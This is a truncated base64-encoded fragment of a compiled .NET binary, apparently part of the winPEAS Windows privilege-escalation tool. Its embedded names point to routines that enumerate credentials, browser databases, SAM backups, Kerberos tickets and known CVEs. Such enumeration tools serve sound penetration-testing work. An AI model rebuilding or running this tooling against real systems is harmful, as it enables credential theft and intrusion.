pQNgAAAAAEAAAAAAAAAAAAAADCGpQtAAAAAAQAAAAAAAAAAAAAANQaoFIAAAAABAAAAAAAAAAAAAAA1BrQTgAAAAAEAAAAAAAAAAAAAADCGi9LAAAAAAQAAAAAAAAAAAAAAMIaslIAAAAABAAAAAAAAAAAAAAA3RqLSwAAAAAdAAMAHgADAB8ABgAgAAYAIQAGACIABgAjAAYAJAAGACUABgAmAAYAJwAGACgABgApAAYAKgAGACsABgAsAAYALQAGAC4ABgAvAAYAMAAGADEABgAyAAcAMwAHADQACAA1AAgANgAIADcACAA4AAkAOQAKADoADQA7AA0APAANAD0ADQA+AA0APwANAEAADQBBAA0AQgAOAEMADgBEAA4ARQAOAEYADgBHAA4ASAAOAEkADgBKAA4ASwARAEwAEQBNABwATgAfAE8AHwBQAB8AUQAfAFIAHwBTADIAAAAAAAQA0j4BAAAABADyPgIAAAAEAOA+AwAAAAQA/z6BAK0BhwASAn0BuQaHAA4MgQAoDYcAQA1RApANVwLLDVsC9A1dAssNhwK9Do0C4Q6NAgsPrwJZD10CYA9dAogP0QLLDe0C3hD1AkQR3QMDGlcCAxrjAwMa5QMDGusDyw3tA8sNAAAAAAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50U3lzdGVtRVZ8NDBfMTAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50QXBwQ21kfDQ2XzEwADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRSZWN5Y2xlQmlufDQ4XzEwAENWRV8yMDE5XzExMzAAPD45X18yMF8wADxMaXN0Rm9sZGVyPmJfXzIwXzAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEJhc2ljU3lzdGVtSW5mb3w0MF8wADxQcmludEluZm9Vc2Vycz5nX19jb2xvcnNVfDQxXzAAPD5jX19EaXNwbGF5Q2xhc3MxXzAAPD45X18xMl8wADxHZXRSZWN1cnNpdmVQcml2cz5iX18xMl8wADxQcmludEluZm9Qcm9jZXNzZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1Byb2Nlc3Nlc3w0Ml8wADw+Y19fRGlzcGxheUNsYXNzNDNfMAA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRJbnRlcmVzdGluZ1NlcnZpY2VzfDQzXzAAPD45X18zXzAAPFNob3dSZXN1bHRzPmJfXzNfMAA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50QWN0aXZlV2luZG93fDQ0XzAAPD45X180XzAAPEdldFJlZ1ZhbHVlcz5iX180XzAAPFByaW50SW5mb05ldHdvcms+Z19fUHJpbnROZXRTaGFyZXN8NDVfMAA8PjlfXzVfMAA8R2V0UHJvY0luZm8+Yl9fNV8wADxHZXROZXRDYXJkSW5mbz5iX181XzAAPEdldEluc3RhbGxlZEFwcHNQZXJtcz5iX181XzAAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50dmF1bHRDcmVkc3w0Nl8wADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50REJzRmlyZWZveHw0N18wADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRQdXR0eVNlc3N8NDhfMAA8PmNfX0Rpc3BsYXlDbGFzczhfMAA8R2V0U2NoZWR1bGVkQXBwc05vTWljcm9zb2Z0PmdfX0VudW1Gb2xkZXJUYXNrc3w4XzAAPD45X18xOV8wADxGaW5kRmlsZXM+Yl9fMTlfMAA8U2V0QXNWdWxuZXJhYmxlPmJfXzAAbWFjMAByZXNlcnZlZDAAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEluZXRJbmZvfDQwXzExADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFNDQ2xpZW50fDQ2XzExADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRVc2Vyc0ludGVyZXN0aW5nRmlsZXN8NDhfMTEAQ1ZFXzIwMTlfMDg0MQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50UFNJbmZvfDQwXzEAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50Q1V8NDFfMQA8PjlfXzEyXzEAPEdldFJlY3Vyc2l2ZVByaXZzPmJfXzEyXzEAPFByaW50SW5mb1NlcnZpY2VzPmdfX1ByaW50TW9kaWZpYWJsZVNlcnZpY2VzfDQzXzEAPD45X18zXzEAPFNob3dSZXN1bHRzPmJfXzNfMQA8UHJpbnRJbmZvQXBwbGljYXRpb25zPmdfX1ByaW50SW5zdGFsbGVkQXBwc3w0NF8xADw+OV9fNF8xADxHZXRSZWdWYWx1ZXM+Yl9fNF8xADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50SG9zdHNGaWxlfDQ1XzEAPD45X181XzEAPEdldFByb2NJbmZvPmJfXzVfMQA8R2V0SW5zdGFsbGVkQXBwc1Blcm1zPmJfXzVfMQA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRDcmVkTWFuYWd8NDZfMQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGaXJlZm94fDQ3XzEAPFByaW50SW50ZXJlc3RpbmdGaWxlcz5nX19QcmludFB1dHR5U1NIfDQ4XzEAPEdldFNjaGVkdWxlZEFwcHNOb01pY3Jvc29mdD5nX19BY3RPblRhc2t8OF8xAFdUU19TRVNTSU9OX0lORk9fMQBJRW51bWVyYWJsZWAxAElPcmRlcmVkRW51bWVyYWJsZWAxAEVxdWFsaXR5Q29tcGFyZXJgMQBJRW51bWVyYXRvcmAxAFByaW5jaXBhbFNlYXJjaFJlc3VsdGAxAExpc3RgMQBkZXMzX2NiY19zaGExAG1hYzEAcmVzZXJ2ZWQxADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnREcml2ZXNJbmZvfDQwXzEyADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEFsd2F5c0luc3RhbGxFbGV2YXRlZHw0Nl8xMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlcnNEb2NzS2V5c3w0OF8xMgBfX1N0YXRpY0FycmF5SW5pdFR5cGVTaXplPTMyAE1pY3Jvc29mdC5XaW4zMgBVSW50MzIAUmVhZEludDMyAFRvSW50MzIAYWVzMjU2X2N0c19obWFjX3NoYTM4NF8xOTIAPFByaW50U3lzdGVtSW5mbz5nX19QcmludEF1ZGl0SW5mb3w0MF8yADxQcmludEluZm9Vc2Vycz5nX19QcmludFRva2VuUHw0MV8yADxQcmludEluZm9TZXJ2aWNlcz5nX19QcmludFdyaXRhYmxlUmVnU2VydmljZXN8NDNfMgA8PjlfXzNfMgA8U2hvd1Jlc3VsdHM+Yl9fM18yADxQcmludEluZm9BcHBsaWNhdGlvbnM+Z19fUHJpbnRBdXRvUnVuc3w0NF8yADw+OV9fNF8yADxHZXRSZWdWYWx1ZXM+Yl9fNF8yADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TmV0d29ya0lmYWNlc3w0NV8yADw+OV9fNV8yADxHZXRQcm9jSW5mbz5iX181XzIAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50U2F2ZWRSRFBJbmZvfDQ2XzIAPFByaW50QnJvd3NlckluZm8+Z19fUHJpbnREQnNDaHJvbWV8NDdfMgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50U1NIS2V5c1JlZ3w0OF8yADxjb29raWU+NV9fMgBGdW5jYDIAS2V5VmFsdWVQYWlyYDIAU29ydGVkRGljdGlvbmFyeWAyAG1hYzIAcmVzZXJ2ZWQyADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRBVkluZm98NDBfMTMAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50V1NVU3w0Nl8xMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UmVjZW50RmlsZXN8NDhfMTMAQ1ZFXzIwMTlfMTI1MwA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50V0VGSW5mb3w0MF8zADxQcmludEluZm9Vc2Vycz5nX19QcmludENsaXBib2FyZFRleHR8NDFfMwA8UHJpbnRJbmZvU2VydmljZXM+Z19fUHJpbnRQYXRoRExMSGlqYWNraW5nfDQzXzMAPFByaW50SW5mb0FwcGxpY2F0aW9ucz5nX19QcmludFNjaGVkdWxlZHw0NF8zADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50TGlzdGVuaW5nUG9ydHN8NDVfMwA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRSZWNlbnRSdW5Db21tYW5kc3w0Nl8zADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50SGlzdEJvb2tDaHJvbWV8NDdfMwA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50Q2xvdWRDcmVkc3w0OF8zADx1cz41X18zAEZ1bmNgMwBtYWMzADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRVQUNJbmZvfDQwXzE0AENWRV8yMDE5XzEwNjQAVUludDY0AFRvSW50NjQAV1RTU2Vzc2lvbkFkZHJlc3NWNAA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TEFQU0luZm98NDBfNAA8UHJpbnRJbmZvVXNlcnM+Z19fUHJpbnRMb2dnZWRVc2Vyc3w0MV80ADxQcmludEluZm9OZXR3b3JrPmdfX1ByaW50RmlyZXdhbGxSdWxlc3w0NV80ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludERQQVBJTWFzdGVyS2V5c3w0Nl80ADxQcmludEJyb3dzZXJJbmZvPmdfX1ByaW50ZUN1cnJlbnRJRVRhYnN8NDdfNAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VW5hdHRlbmRGaWxlc3w0OF80ADw+Zl9fQW5vbnltb3VzVHlwZTBgNABtYWM0AGRlc19jYmNfbWQ0AENWRV8yMDE5XzE0MDUAQ1ZFXzIwMTlfMTMxNQBDVkVfMjAxOV8xMzg1ADxQcmludFN5c3RlbUluZm8+Z19fUHJpbnRXZGlnZXN0fDQwXzUAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UmRwU2Vzc2lvbnN8NDFfNQA8UHJpbnRJbmZvTmV0d29yaz5nX19QcmludEROU0NhY2hlfDQ1XzUAPFByaW50V2luZG93c0NyZWRzPmdfX1ByaW50RHBhcGlDcmVkRmlsZXN8NDZfNQA8UHJpbnRCcm93c2VySW5mbz5nX19QcmludEhpc3RGYXZJRXw0N181ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRTQU1CYWNrdXBzfDQ4XzUAbWFjNQBkZXMzX2NiY19tZDUAZGVzX2NiY19tZDUAYXJnNQBSZWFkSW50MTYAQ1ZFXzIwMTlfMDgzNgBhZXMyNTZfY3RzX2htYWNfc2hhMV85NgBhZXMxMjhfY3RzX2htYWNfc2hhMV85NgA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50TFNBUHJvdGVjdGlvbnw0MF82ADxQcmludEluZm9Vc2Vycz5nX19QcmludEV2ZXJMb2dnZWRVc2Vyc3w0MV82ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFJDTWFuRmlsZXN8NDZfNgA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50TWNBZmZlU2l0ZWxpc3RGaWxlc3w0OF82AG1hYzYAYXJnNgBWQVVMVF9JVEVNX1dJTjcAVmF1bHRHZXRJdGVtX1dJTjcAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENyZWRlbnRpYWxHdWFyZHw0MF83ADxQcmludEluZm9Vc2Vycz5nX19QcmludEF1dG9Mb2dpbnw0MV83ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludEtlcmJlcm9zVGlja2V0c3w0Nl83ADxQcmludEludGVyZXN0aW5nRmlsZXM+Z19fUHJpbnRDYWNoZWRHUFBQYXNzd29yZHw0OF83AG1hYzcAYWVzMTI4X2N0c19obWFjX3NoYTI1Nl8xMjgAQ1ZFXzIwMTlfMTM4OABWQVVMVF9JVEVNX1dJTjgAVmF1bHRHZXRJdGVtX1dJTjgAPFByaW50U3lzdGVtSW5mbz5nX19QcmludENhY2hlZENyZWRzfDQwXzgAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50SG9tZUZvbGRlcnN8NDFfOAA8UHJpbnRXaW5kb3dzQ3JlZHM+Z19fUHJpbnRLZXJiZXJvc1RHVFRpY2tldHN8NDZfOAA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50UG9zc0NyZWRzUmVnc3w0OF84ADw+OQA8UHJpbnRTeXN0ZW1JbmZvPmdfX1ByaW50VXNlckVWfDQwXzkAPFByaW50SW5mb1VzZXJzPmdfX1ByaW50UGFzc3dvcmRQb2xpY2llc3w0MV85ADxQcmludFdpbmRvd3NDcmVkcz5nX19QcmludFdpZml8NDZfOQA8UHJpbnRJbnRlcmVzdGluZ0ZpbGVzPmdfX1ByaW50VXNlckNyZWRzRmlsZXN8NDhfOQA8RW51bWVyYXRlRG9tYWlucz5kX185ADxNb2R1bGU+ADxQcml2YXRlSW1wbGVtZW50YXRpb25EZXRhaWxzPgAwOUIzODRCMEQ4RkFDQTg1RkU2RTg2RUUzNzJEMkZERjQ0RkVEQzBBAFNFQ1VSSVRZX0xPR09OX1NFU1NJT05fREFUQQBNQUdFTlRBAGJhZFVBQwBnb29kVUFDAEdDAFBVQkxJQwBET01BSU5fUkVBRABTQU1fU0VSVkVSX1JFQUQAU1RBVFVTX0FDQ0VTU19ERU5JRUQAU0VfUFJJVklMRUdFX0VOQUJMRUQARElTQUJMRUQAS0VSQl9SRVRSSUVWRV9USUNLRVRfQVNfS0VSQl9DUkVEAEtFUkJfUkVUUklFVkVfVElDS0VUX1dJVEhfU0VDX0NSRUQATFJFRABTRV9QUklWSUxFR0VfUkVNT1ZFRAByc2FFU19PQUVQX0VOVl9PSUQAZGVzX2VkZTNfY2JjX0Vudl9PSUQAZHNhV2l0aFNIQTFfQ21zT0lEAHNoYTFXaXRoUlNBRW5jcnlwdGlvbl9DbXNPSUQAbWQ1V2l0aFJTQUVuY3J5cHRpb25fQ21zT0lEAHJjMkNCQ19FbnZPSUQAcnNhRW5jcnlwdGlvbl9FbnZPSUQAR2V0VHlwZUZyb21DTFNJRABMVUlEAFZBVUxUX1NDSEVNQV9FTEVNRU5UX0lEAExvZ2luSUQAU2Vzc2lvbklEAEV4ZWNDTUQAUFNpRABET01BSU5fUkVGVVNFX1BBU1NXT1JEX0NIQU5HRQBET01BSU5fUEFTU1dPUkRfTk9fQU5PTl9DSEFOR0UARE9NQUlOX1BBU1NXT1JEX05PX0NMRUFSX0NIQU5HRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9ET05UX1VTRV9DQUNIRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ1JFREhBTkRMRQBTVEFUVVNfSU5WQUxJRF9IQU5ETEUAU0VDVVJJVFlfSEFORExFAEtFUkJfRVhURVJOQUxfTkFNRQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9NQVhfTElGRVRJTUUAS0VSQl9QUk9UT0NPTF9NRVNTQUdFX1RZUEUAU0VDVVJJVFlfTE9HT05fVFlQRQBLRVJCX0VOQ1JZUFRJT05fVFlQRQBWQVVMVF9FTEVNRU5UX1RZUEUAS0VSQl9RVUVSWV9US1RfQ0FDSEVfUkVTUE9OU0UAS0VSQl9SRVRSSUVWRV9US1RfUkVTUE9OU0UAUFJJVkFURQBET01BSU5fV1JJVEUAU0FNX1NFUlZFUl9XUklURQBET01BSU5fRVhFQ1VURQBTQU1fU0VSVkVSX0VYRUNVVEUATEJMVUUAU0FNX1NFUlZFUl9JTklUSUFMSVpFAEdldE15UGVybWlzc2lvbnNGAFVOSUNPREVfU1RSSU5HAFNUQVRVU19PQkpFQ1RfVFlQRV9NSVNNQVRDSABDaGVja1JlZ0FOU0kARE9NQUlOX0FDQ0VTU19NQVNLAFNFUlZFUl9BQ0NFU1NfTUFTSwBTRUNVUklUWV9JTVBFUlNPTkFUSU9OX0xFVkVMAEFMTABMQ1lBTgBMR1JFRU4AU0FNX1NFUlZFUl9DUkVBVEVfRE9NQUlOAFNUQVRVU19OT19TVUNIX0RPTUFJTgBTQU1fU0VSVkVSX0xPT0tVUF9ET01BSU4ATFNBX1NUUklOR19JTgBET01BSU5fUEFTU1dPUkRfSU5GT1JNQVRJT04AU0FNX1NFUlZFUl9TSFVURE9XTgBLRVJCX1RJQ0tFVF9DQUNIRV9JTkZPAFN5c3RlbS5JTwBET01BSU5fR0VUX0FMSUFTX01FTUJFUlNISVAARGVjcnlwdEdQUABET01BSU5fTE9PS1VQAERPTUFJTl9DUkVBVEVfR1JPVVAARVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgBET01BSU5fQ1JFQVRFX1VTRVIAU1RBVFVTX0lOVkFMSURfUEFSQU1FVEVSAERPTUFJTl9BRE1JTklTVEVSX1NFUlZFUgBOT0NPTE9SAEdldE15UGVybWlzc2lvbnNSAHdpblBFQVMARE9NQUlOX0NSRUFURV9BTElBUwBUT0tFTl9QUklWSUxFR0VTAFNUQVRVU19NT1JFX0VOVFJJRVMAUEFTU1dPUkRfUFJPUEVSVElFUwBMVUlEX0FORF9BVFRSSUJVVEVTAEtFUkJfVElDS0VUX0ZMQUdTAERPTUFJTl9XUklURV9QQVNTV09SRF9QQVJBTVMAU0FNX1NFUlZFUl9FTlVNRVJBVEVfRE9NQUlOUwBET01BSU5fTE9DS09VVF9BRE1JTlMAS0VSQl9DQUNIRV9PUFRJT05TAGJhZExBUFMARE9NQUlOX1JFQURfUEFTU1dPUkRfUEFSQU1FVEVSUwBET01BSU5fUkVBRF9PVEhFUl9QQVJBTUVURVJTAERPTUFJTl9XUklURV9PVEhFUl9QQVJBTUVURVJTAFdUU19DT05ORUNUU1RBVEVfQ0xBU1MAVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MARE9NQUlOX0lORk9STUFUSU9OX0NMQVNTAFdUU19JTkZPX0NMQVNTAERPTUFJTl9BTExfQUNDRVNTAFNBTV9TRVJWRVJfQUxMX0FDQ0VTUwBTRV9QUklWSUxFR0VfVVNFRF9GT1JfQUNDRVNTAFNUQVRVU19TVUNDRVNTAFdUU19DTElFTlRfQUREUkVTUwBET01BSU5fTElTVF9BQ0NPVU5UUwBOVFNUQVRVUwBTQU1fU0VSVkVSX0NPTk5FQ1QAS0VSQl9SRVRSSUVWRV9USUNLRVRfQ0FDSEVfVElDS0VUAEtFUkJfRVhURVJOQUxfVElDS0VUAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2VfS0VSQl9SRVRSSUVWRV9US1QAS0VSQl9SRVRSSUVWRV9USUNLRVRfREVGQVVMVABTRV9QUklWSUxFR0VfRU5BQkxFRF9CWV9ERUZBVUxUAFZBVUxUX0lURU1fRUxFTUVOVABLRVJCX1FVRVJZX1RLVF9DQUNIRV9SRVFVRVNUAEtFUkJfUkVUUklFVkVfVEtUX1JFUVVFU1QATFNBX1NUUklOR19PVVQARE9NQUlOX1BBU1NXT1JEX1NUT1JFX0NMRUFSVEVYVABHZXRQcm9jVQBnZXRfSVYAc2V0X0lWAExZRUxMT1cATUlCX0lQTkVUUk9XAERPTUFJTl9QQVNTV09SRF9DT01QTEVYAERHUkFZAEtFUkJfQ1JZUFRPX0tFWQBLRVJCX1JFVFJJRVZFX1RJQ0tFVF9VU0VfQ0FDSEVfT05MWQB2YWx1ZV9fAEdldEtlcmJlcm9zVEdURGF0YQBwcExvZ29uU2Vzc2lvbkRhdGEATHNhR2V0TG9nb25TZXNzaW9uRGF0YQBQcm9wZXJ0eURhdGEAbXNjb3JsaWIAPD5jAGNhbWVsbGlhMjU2X2N0c19jbWFjAGNhbWVsbGlhMTI4X2N0c19jbWFjAHJjNF9obWFjAER5bmFtaWMAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMAU3RhdGljAGdldF9Qcm9jAGRlc19jYmNfY3JjAEZyb21GaWxlVGltZVV0YwBXVFNPRU1JZABnZXRfSWQAU2NoZW1hSWQAc2NoZW1hSWQAZ2V0X01hbmFnZWRUaHJlYWRJZAA8PmxfX2luaXRpYWxUaHJlYWRJZABXVFNDbGllbnRIYXJkd2FyZUlkAERvbWFpbklkAExvZ29uSWQAV1RTU2Vzc2lvbklkAFRva2VuU2Vzc2lvbklkAHNlc3Npb25JZABXVFNDbGllbnRQcm9kdWN0SWQAU2NoZW1hRWxlbWVudElkAEV4ZWNFbnZJZABhbnNpX2NvbG9yX2JhZABnZXRfQ3VycmVudFRocmVhZABMb2FkAEFkZABidWZTaXplTmVlZGVkAGZvcndhcmRlZABMYXN0TW9kaWZpZWQAZ2V0X0VuYWJsZWQAb25seURpc2FibGVkAGFuc2lfdXNlcnNfZGlzYWJsZWQAVW5kZWZpbmVkAElzRG9tYWluSm9pbmVkAE5ldFNldHVwVW5qb2luZWQAcEJ5dGVzUmV0dXJuZWQAQ291bnRSZXR1cm5lZABwb3N0ZGF0ZWQAQ29ubmVjdGVkAERpc2Nvbm5lY3RlZABwcmludF9jcmVkU3RyaW5nc19saW1pdGVkAExzYUNvbm5lY3RVbnRydXN0ZWQAcmVzZXJ2ZWQAU3lzdGVtLkNvbGxlY3Rpb25zLlNwZWNpYWxpemVkAHBQYWNrYWdlU2lkAEdldERvbWFpblNpZABkb21haW5TaWQAYXR0YWNraWQASW52YWxpZABpbnZhbGlkAHZhdWx0R3VpZABscEx1aWQAbHVpZABkZXMzX2NiY19zaGExX2tkADxQcm9jPmlfX0ZpZWxkADxDb21tTGluZT5pX19GaWVsZAA8UHRoPmlfX0ZpZWxkADxPd25lcj5pX19GaWVsZAA8VnVsbmVyYWJsZT5rX19CYWNraW5nRmllbGQAPE5hbWU+a19fQmFja2luZ0ZpZWxkADxJZGVudGlmaWNhdGlvbj5rX19CYWNraW5nRmllbGQAPEtub3duRXhwbG9pdHM+a19fQmFja2luZ0ZpZWxkAEdldEZpZWxkAGZsZABleGVjX2NtZABSZWFkVG9FbmQAQXBwRW5kAGhXbmQAUHJpbnRMZXllbmQASW52b2tlTWV0aG9kAEdldE1ldGhvZABhbnNpX2NvbG9yX2dvb2QAQ2xpcGJvYXJkAEdldENhY2hlZEdQUFBhc3N3b3JkAGNwYXNzd29yZABFeHRyYWN0VW5hdHRlbmVkZWRQd2QAYmFkcGFzc3dkAEdlbmVyaWNBY2UAQ29tbW9uQWNlAEtub3duQWNlAE5ldHdvcmtJbnRlcmZhY2UAUmVwbGFjZQBDaGVja1F1b3RlQW5kU3BhY2UAZ2V0X1RvdGFsRnJlZVNwYWNlAFRhc2tTZXJ2aWNlAGlzX3NlcnZpY2UAZ2V0X0luc3RhbmNlAENyZWF0ZUluc3RhbmNlAFRva2VuU2Vzc2lvblJlZmVyZW5jZQBnZXRfSWRlbnRpdHlSZWZlcmVuY2UAVG9rZW5Tb3VyY2UAUmVzb3VyY2UAR2V0SGFzaENvZGUAZ2V0X0Vycm9yQ29kZQBTZWN1cml0eU1vZGUAU2VsZWN0U2luZ2xlTm9kZQBYbWxOb2RlAGdldF9Vbmljb2RlAE5ldEFwaUJ1ZmZlckZyZWUAVmF1bHRGcmVlAGdldF9NaW5QYXNzd29yZEFnZQBzZXRfTWluUGFzc3dvcmRBZ2UAX21pblBhc3N3b3JkQWdlAGdldF9NYXhQYXNzd29yZEFnZQBzZXRfTWF4UGFzc3dvcmRBZ2UAX21heFBhc3N3b3JkQWdlAExzYUNhbGxBdXRoZW50aWNhdGlvblBhY2thZ2UATHNhTG9va3VwQXV0aGVudGljYXRpb25QYWNrYWdlAFByaW50VXNhZ2UAS2VyYlF1ZXJ5VGlja2V0Q2FjaGVFeDJNZXNzYWdlAEtlcmJRdWVyeVRpY2tldENhY2hlRXgzTWVzc2FnZQBnZXRfTWVzc2FnZQBLZXJiRGVjcnlwdERhdGFNZXNzYWdlAEtlcmJWZXJpZnlQYWNNZXNzYWdlAEtlcmJDaGFuZ2VQYXNzd29yZE1lc3NhZ2UAS2VyYkNoYW5nZU1hY2hpbmVQYXNzd29yZE1lc3NhZ2UAS2VyYlNldFBhc3N3b3JkTWVzc2FnZQBLZXJiUHVyZ2VCaW5kaW5nQ2FjaGVNZXNzYWdlAEtlcmJRdWVyeUJpbmRpbmdDYWNoZU1lc3NhZ2UAS2VyYlB1cmdlVGlja2V0Q2FjaGVNZXNzYWdlAEtlcmJRdWVyeVRpY2tldENhY2hlTWVzc2FnZQBLZXJiUXVlcnlTNFUyUHJveHlDYWNoZU1lc3NhZ2UAS2VyYlB1cmdlS2RjUHJveHlDYWNoZU1lc3NhZ2UAS2VyYlF1ZXJ5S2RjUHJveHlDYWNoZU1lc3NhZ2UAS2VyYkNsZWFudXBNYWNoaW5lUGtpbml0Q3JlZHNNZXNzYWdlAEtlcmJRdWVyeURvbWFpbkV4dGVuZGVkUG9saWNpZXNNZXNzYWdlAEtlcmJVcGRhdGVBZGRyZXNzZXNNZXNzYWdlAEtlcmJBZGRFeHRyYUNyZWRlbnRpYWxzTWVzc2FnZQBLZXJiUmVmcmVzaFNtYXJ0Y2FyZENyZWRlbnRpYWxzTWVzc2FnZQBLZXJiUXVlcnlTdXBwbGVtZW50YWxDcmVkZW50aWFsc01lc3NhZ2UAS2VyYlRyYW5zZmVyQ3JlZGVudGlhbHNNZXNzYWdlAEtlcmJWZXJpZnlDcmVkZW50aWFsc01lc3NhZ2UAS2VyYlJldHJpZXZlRW5jb2RlZFRpY2tldE1lc3NhZ2UAS2VyYlJldHJpZXZlVGlja2V0TWVzc2FnZQBLZXJiU3VibWl0VGlja2V0TWVzc2FnZQBLZXJiRGVidWdSZXF1ZXN0TWVzc2FnZQBLZXJiU2V0UGFzc3dvcmRFeE1lc3NhZ2UAS2VyYlB1cmdlVGlja2V0Q2FjaGVFeE1lc3NhZ2UAS2VyYlF1ZXJ5VGlja2V0Q2FjaGVFeE1lc3NhZ2UAS2VyYkFkZEV4dHJhQ3JlZGVudGlhbHNFeE1lc3NhZ2UAS2VyYkFkZEJpbmRpbmdDYWNoZUVudHJ5RXhNZXNzYWdlAEtlcmJBZGRCaW5kaW5nQ2FjaGVFbnRyeU1lc3NhZ2UAZ2V0X0N1cnJlbnRJbnB1dExhbmd1YWdlAEFkZFJhbmdlAEdldFJhbmdlAEdldEROU0NhY2hlAEludm9rZQBGcmVlTWliVGFibGUAcElwTmV0VGFibGUAR2V0SXBOZXRUYWJsZQBwbHBOZXRUYWJsZQBmb3J3YXJkYWJsZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAHByb3hpYWJsZQBJRW51bWVyYWJsZQBnZXRfVnVsbmVyYWJsZQBzZXRfVnVsbmVyYWJsZQBTZXRBc1Z1bG5lcmFibGUASURpc3Bvc2FibGUASGFzaHRhYmxlAHJlbmV3YWJsZQBEb3VibGUASWRsZQBnZXRfSGFuZGxlAExzYUhhbmRsZQBSdW50aW1lRmllbGRIYW5kbGUAc2VydmljZUhhbmRsZQBSdW50aW1lVHlwZUhhbmRsZQBTYW1DbG9zZUhhbmRsZQBHZXRUeXBlRnJvbUhhbmRsZQBEdXBsaWNhdGVUb2tlbkhhbmRsZQBFeGlzdGluZ1Rva2VuSGFuZGxlAERvbWFpbkhhbmRsZQBTZXJ2ZXJIYW5kbGUAQ3JlZGVudGlhbHNIYW5kbGUAUHJvY2Vzc0hhbmRsZQB2YXVsdEhhbmRsZQBfaGFuZGxlAEdldFBlcm1pc3Npb25zRmlsZQBJc0luUm9sZQBXaW5kb3dzQnVpbHRJblJvbGUAQ29uc29sZQBHZXRBY3RpdmVXaW5kb3dUaXRsZQBBdXRob3JpemF0aW9uUnVsZQBGaWxlU3lzdGVtQWNjZXNzUnVsZQBSZWdpc3RyeUFjY2Vzc1J1bGUAZ2V0X05hbWUAZ2V0X1NlcnZpY2VOYW1lAFBhY2thZ2VOYW1lAExvb2t1cFByaXZpbGVnZU5hbWUAc2V0X0ZpbGVOYW1lAEdldEZpbGVOYW1lAEdldEVsZW1lbnRzQnlUYWdOYW1lAGNjaE5hbWUAZ2V0X0VuZ2xpc2hOYW1lAGxwU3lzdGVtTmFtZQBSZWFsbU5hbWUAcEZhcm1OYW1lAGN1cnJlbnRBRERvbWFpbk5hbWUAV1RTRG9tYWluTmFtZQBnZXRfRG9tYWluTmFtZQBOZXRTZXR1cERvbWFpbk5hbWUAZ2V0X1VzZXJEb21haW5OYW1lAGN1cnJlbnRVc2VyRG9tYWluTmFtZQBEbnNEb21haW5OYW1lAEFsdFRhcmdldERvbWFpbk5hbWUAcFNlc3Npb25OYW1lAFdUU0FwcGxpY2F0aW9uTmFtZQBXVFNXaW5TdGF0aW9uTmFtZQBscE5hbWUAc3RhdGljU0lEMkdyb3VwTmFtZQBHZXRTSURHcm91cE5hbWUATmV0U2V0dXBXb3JrZ3JvdXBOYW1lAFdUU1VzZXJOYW1lAGdldF9Vc2VyTmFtZQBwVXNlck5hbWUAc1VzZXJOYW1lAGN1cnJlbnRVc2VyTmFtZQBwU2VydmVyTmFtZQBnZXRfUHJvY2Vzc05hbWUATG9nb25Qcm9jZXNzTmFtZQBUYXJnZXROYW1lAFdUU0NsaWVudE5hbWUAZ2V0X1NhbUFjY291bnROYW1lAHNldF9TYW1BY2NvdW50TmFtZQBwSG9zdE5hbWUAR2V0SG9zdE5hbWUAR2V0UHJvY2Vzc2VzQnlOYW1lAGdldF9EaXNwbGF5TmFtZQBHZXRBc3NlbWJseU5hbWUAcHN6Q3JlZGVudGlhbEZyaWVuZGx5TmFtZQBnZXRfQ29tcGFueU5hbWUAR2V0RGlyZWN0b3J5TmFtZQBwY25hbWUAVXNlcm5hbWUARW5kVGltZQBXVFNJZGxlVG